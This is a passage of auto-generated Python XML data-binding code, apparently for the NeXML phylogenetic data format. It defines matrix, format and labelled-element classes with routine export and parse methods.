type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <states> element') self.states.append(obj_) elif nodeName_ == 'char': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <char> element') self.char.append(obj_) elif nodeName_ == 'set': obj_ = CharSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractFormat, self).buildChildren(child_, node, nodeName_, True) # end class AbstractFormat class ContinuousObsMatrix(AbstractObsMatrix): """A matrix of rows with single character observations.""" subclass = None superclass = AbstractObsMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(ContinuousObsMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if ContinuousObsMatrix.subclass: return ContinuousObsMatrix.subclass(*args_, **kwargs_) else: return ContinuousObsMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='ContinuousObsMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousObsMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousObsMatrix'): super(ContinuousObsMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousObsMatrix') def exportChildren(self, outfile, level, namespace_='', name_='ContinuousObsMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(ContinuousObsMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousObsMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ContinuousObsMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousObsMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.ContinuousMatrixObsRow(\n') row_.exportLiteral(outfile, level, name_='ContinuousMatrixObsRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ContinuousObsMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = ContinuousMatrixObsRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class ContinuousObsMatrix class ContinuousSeqMatrix(AbstractSeqMatrix): """A matrix of rows with seq strings of type continuous.""" subclass = None superclass = AbstractSeqMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(ContinuousSeqMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if ContinuousSeqMatrix.subclass: return ContinuousSeqMatrix.subclass(*args_, **kwargs_) else: return ContinuousSeqMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='ContinuousSeqMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousSeqMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousSeqMatrix'): super(ContinuousSeqMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousSeqMatrix') def exportChildren(self, outfile, level, namespace_='', name_='ContinuousSeqMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(ContinuousSeqMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousSeqMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ContinuousSeqMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousSeqMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.ContinuousMatrixSeqRow(\n') row_.exportLiteral(outfile, level, name_='ContinuousMatrixSeqRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ContinuousSeqMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = ContinuousMatrixSeqRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class ContinuousSeqMatrix class ContinuousFormat(AbstractFormat): """The ContinuousFormat class is the container of continuous column definitions.""" subclass = None superclass = AbstractFormat def __init__(self, about=None, meta=None, states=None, char=None, set=None, valueOf_=None): super(ContinuousFormat, self).__init__(about, meta, states, char, set, ) if char is None: self.char = [] else: self.char = char if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if ContinuousFormat.subclass: return ContinuousFormat.subclass(*args_, **kwargs_) else: return ContinuousFormat(*args_, **kwargs_) factory = staticmethod(factory) def get_char(self): return self.char def set_char(self, char): self.char = char def add_char(self, value): self.char.append(value) def insert_char(self, index, value): self.char[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='ContinuousFormat', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousFormat') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousFormat'): super(ContinuousFormat, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousFormat') def exportChildren(self, outfile, level, namespace_='', name_='ContinuousFormat', fromsubclass_=False): for char_ in self.char: char_.export(outfile, level, namespace_, name_='char') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.char or self.set or super(ContinuousFormat, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousFormat'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ContinuousFormat, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousFormat, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('char=[\n') level += 1 for char_ in self.char: showIndent(outfile, level) outfile.write('model_.ContinuousChar(\n') char_.exportLiteral(outfile, level, name_='ContinuousChar') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CharSet(\n') set_.exportLiteral(outfile, level, name_='CharSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ContinuousFormat, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'char': obj_ = ContinuousChar.factory() obj_.build(child_) self.char.append(obj_) elif nodeName_ == 'set': obj_ = CharSet.factory() obj_.build(child_) self.set.append(obj_) # end class ContinuousFormat class Labelled(Annotated): """The Labelled complexType is a super class for objects that optionally have label attributes to use as a (non-unique) name of type xs:string.""" subclass = None superclass = Annotated def __init__(self, about=None, meta=None, label=None, valueOf_=None): super(Labelled, self).__init__(about, meta, ) self.label = _cast(None, label) pass def factory(*args_, **kwargs_): if Labelled.subclass: return Labelled.subclass(*args_, **kwargs_) else: return Labelled(*args_, **kwargs_) factory = staticmethod(factory) def get_label(self): return self.label def set_label(self, label): self.label = label def export(self, outfile, level, namespace_='', name_='Labelled', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Labelled') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="Labelled"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Labelled'): super(Labelled, self).exportAttributes(outfile, level, already_processed, namespace_, name_='Labelled') if self.label is not None and 'label' not in already_processed: already_processed.append('label') outfile.write(' label=%s' % (self.gds_format_string(quote_attrib(self.label).encode(ExternalEncoding), input_name='label'), )) def exportChildren(self, outfile, level, namespace_='', name_='Labelled', fromsubclass_=False): super(Labelled, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(Labelled, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='Labelled'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.label is not None and 'label' not in already_processed: already_processed.append('label') showIndent(outfile, level) outfile.write('label = "%s",\n' % (self.label,)) super(Labelled, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(Labelled, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('label', node) if value is not None and 'label' not in already_processed: already_processed.append('label') self.label = value super(Labelled, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(Labelled, self).buildChildren(child_, node, nodeName_, True) pass # end class Labelled class StandardObsMatrix(AbstractObsMatrix): """A matrix of rows with single character observations.""" subclass = None superclass = AbstractObsMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(StandardObsMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if StandardObsMatrix.subclass: return StandardObsMatrix.subclass(*args_, **kwargs_) else: return StandardObsMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='StandardObsMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardObsMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardObsMatrix'): super(StandardObsMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardObsMatrix') def exportChildren(self, outfile, level, namespace_='', name_='StandardObsMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(StandardObsMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardObsMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardObsMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardObsMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.StandardMatrixObsRow(\n') row_.exportLiteral(outfile, level, name_='StandardMatrixObsRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardObsMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = StandardMatrixObsRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class StandardObsMatrix class StandardSeqMatrix(AbstractSeqMatrix): """A matrix of rows with seq strings of type standard.""" subclass = None superclass = AbstractSeqMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(StandardSeqMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if StandardSeqMatrix.subclass: return StandardSeqMatrix.subclass(*args_, **kwargs_) else: return StandardSeqMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='StandardSeqMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardSeqMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardSeqMatrix'): super(StandardSeqMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardSeqMatrix') def exportChildren(self, outfile, level, namespace_='', name_='StandardSeqMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(StandardSeqMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardSeqMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardSeqMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardSeqMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.StandardMatrixSeqRow(\n') row_.exportLiteral(outfile, level, name_='StandardMatrixSeqRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardSeqMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = StandardMatrixSeqRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class StandardSeqMatrix class StandardFormat(AbstractFormat): """The StandardFormat class is the container of standard column definitions.""" subclass = None superclass = AbstractFormat def __init__(self, about=None, meta=None, states=None, char=None, set=None, valueOf_=None): super(StandardFormat, self).__init__(about, meta, states, char, set, ) if states is None: self.states = [] else: self.states = states if char is None: self.char = [] else: self.char = char if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if StandardFormat.subclass: return StandardFormat.subclass(*args_, **kwargs_) else: return StandardFormat(*args_, **kwargs_) factory = staticmethod(factory) def get_states(self): return self.states def set_states(self, states): self.states = states def add_states(self, value): self.states.append(value) def insert_states(self, index, value): self.states[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def add_char(self, value): self.char.append(value) def insert_char(self, index, value): self.char[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='StandardFormat', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardFormat') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardFormat'): super(StandardFormat, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardFormat') def exportChildren(self, outfile, level, namespace_='', name_='StandardFormat', fromsubclass_=False): for states_ in self.states: states_.export(outfile, level, namespace_, name_='states') for char_ in self.char: char_.export(outfile, level, namespace_, name_='char') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.states or self.char or self.set or super(StandardFormat, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardFormat'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardFormat, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardFormat, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('states=[\n') level += 1 for states_ in self.states: showIndent(outfile, level) outfile.write('model_.StandardStates(\n') states_.exportLiteral(outfile, level, name_='StandardStates') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('char=[\n') level += 1 for char_ in self.char: showIndent(outfile, level) outfile.write('model_.StandardChar(\n') char_.exportLiteral(outfile, level, name_='StandardChar') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CharSet(\n') set_.exportLiteral(outfile, level, name_='CharSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardFormat, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'states': obj_ = StandardStates.factory() obj_.build(child_) self.states.append(obj_) elif nodeName_ == 'char': obj_ = StandardChar.factory() obj_.build(child_) self.char.append(obj_) elif nodeName_ == 'set': obj_ = CharSet.factory() obj_.build(child_) self.set.append(obj_) # end class StandardFormat class RNAObsMatrix(AbstractObsMatrix): """A matrix of rows with single character observations.""" subclass = None superclass = AbstractObsMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(RNAObsMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RNAObsMatrix.subclass: return RNAObsMatrix.subclass(*args_, **kwargs_) else: return RNAObsMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RNAObsMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAObsMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAObsMatrix'): super(RNAObsMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAObsMatrix') def exportChildren(self, outfile, level, namespace_='', name_='RNAObsMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(RNAObsMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAObsMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RNAObsMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAObsMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.RNAMatrixObsRow(\n') row_.exportLiteral(outfile, level, name_='RNAMatrixObsRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RNAObsMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = RNAMatrixObsRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class RNAObsMatrix class RNASeqMatrix(AbstractSeqMatrix): """A matrix of rows with seq strings of type RNA.""" subclass = None superclass = AbstractSeqMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(RNASeqMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RNASeqMatrix.subclass: return RNASeqMatrix.subclass(*args_, **kwargs_) else: return RNASeqMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RNASeqMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNASeqMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNASeqMatrix'): super(RNASeqMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNASeqMatrix') def exportChildren(self, outfile, level, namespace_='', name_='RNASeqMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(RNASeqMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNASeqMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RNASeqMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNASeqMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.RNAMatrixSeqRow(\n') row_.exportLiteral(outfile, level, name_='RNAMatrixSeqRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RNASeqMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = 